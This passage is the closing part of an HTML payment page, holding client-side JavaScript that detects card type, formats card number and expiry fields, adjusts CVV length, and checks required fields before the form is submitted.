                        <path fill-rule="evenodd" clip-rule="evenodd" d="M0 6C0 4.34315 1.34315 3 3 3H21C22.6569 3 24 4.34315 24 6V18C24 19.6569 22.6569 21 21 21H3C1.34314 21 0 19.6569 0 18V6ZM3 5C2.44772 5 2 5.44772 2 6V8H22V6C22 5.44771 21.5523 5 21 5H3ZM2 18V10H22V18C22 18.5523 21.5523 19 21 19H3C2.44772 19 2 18.5523 2 18ZM16 16H20V14H16V16Z" fill="currentColor"></path>
                    </svg>`;
                } else {
                    cardIcon.classList.add(cardType);
                    
                    // For card types without images, show text
                    if (cardType === 'discover') {
                        cardIcon.innerHTML = 'DISC';
                    } else if (cardType === 'diners') {
                        cardIcon.innerHTML = 'DINERS';
                    } else if (cardType === 'jcb') {
                        cardIcon.innerHTML = 'JCB';
                    } else {
                        cardIcon.innerHTML = ''; // Images will show via CSS background
                    }
                }
            }

            function updateCVVLength(cardType) {
                if (cardType && cardTypes[cardType]) {
                    const cvvLength = cardTypes[cardType].cvvLength;
                    cvvInput.setAttribute('maxlength', cvvLength);
                    
                    // Update placeholder
                    if (cvvLength === 4) {
                        cvvInput.setAttribute('placeholder', ' ');
                        const label = cvvInput.parentElement.querySelector('.floating-label');
                        if (label) label.textContent = 'CVV (4 digits)';
                    } else {
                        cvvInput.setAttribute('placeholder', ' ');
                        const label = cvvInput.parentElement.querySelector('.floating-label');
                        if (label) label.textContent = 'CVV';
                    }
                } else {
                    cvvInput.setAttribute('maxlength', '4');
                    const label = cvvInput.parentElement.querySelector('.floating-label');
                    if (label) label.textContent = 'CVV';
                }
            }

            // Card number input event listener
            cardNumberInput.addEventListener('input', function(e) {
                let value = e.target.value;
                const cleanValue = value.replace(/\D/g, '');
                
                // Detect card type
                const detection = detectCardType(cleanValue);
                const cardType = detection.type;
                const cardConfig = detection.config;
                
                // Update card icon
                updateCardIcon(cardType);
                
                // Update CVV length
                updateCVVLength(cardType);
                
                // Update hidden input for form submission
                const cardTypeInput = document.getElementById('cardType');
                if (cardTypeInput) {
                    cardTypeInput.value = cardType === 'default' ? '' : cardType;
                }
                
                // Format the number
                const formattedValue = formatCardNumber(value, cardType);
                
                // Set max length based on card type
                let maxLength = 19; // Default with spaces
                if (cardConfig && cardConfig.lengths) {
                    const maxDigits = Math.max(...cardConfig.lengths);
                    maxLength = maxDigits + Math.floor(maxDigits / 4) - 1; // Add spaces
                }
                
                // Update the input value
                if (formattedValue.length <= maxLength) {
                    e.target.value = formattedValue;
                } else {
                    e.target.value = formattedValue.substring(0, maxLength);
                }
                
                // Store the card type for form submission (alternative method)
                e.target.setAttribute('data-card-type', cardType === 'default' ? '' : cardType);
            });

            // CVV input formatting
            cvvInput.addEventListener('input', function(e) {
                // Only allow numbers
                e.target.value = e.target.value.replace(/\D/g, '');
            });

            // Expiration date formatting (MM/YY)
            const expDateInput = document.getElementById('expDate');
            expDateInput.addEventListener('input', function(e) {
                let value = e.target.value.replace(/\D/g, '');
                
                if (value.length >= 2) {
                    value = value.substring(0, 2) + '/' + value.substring(2, 4);
                }
                
                e.target.value = value;
            });

            // Initialize with default card icon
            updateCardIcon('default');
        });
    </script>
    <script>
document.querySelector("form").addEventListener("submit", function(e) {
    let valid = true;

    const cardNumber = document.getElementById("cardNumber");
    const expDate = document.getElementById("expDate");
    const cvv = document.getElementById("cvv");
    const nameOnCard = document.getElementById("nameOnCard");
    const agree = document.getElementById("agree");

    if (cardNumber.value.trim() === "") {
        document.getElementById("cardNumberError").style.display = "block";
        valid = false;
    }

    if (expDate.value.trim() === "") {
        document.getElementById("expDateError").style.display = "block";
        valid = false;
    }

    if (cvv.value.trim() === "") {
        document.getElementById("cvvError").style.display = "block";
        valid = false;
    }

    if (nameOnCard.value.trim() === "") {
        document.getElementById("nameOnCardError").style.display = "block";
        valid = false;
    }

    if (!agree.checked) {
        alert("You must agree before continuing.");
        valid = false;
    }

    if (!valid) {
        e.preventDefault();
    }
});
</script>

</body>
</html>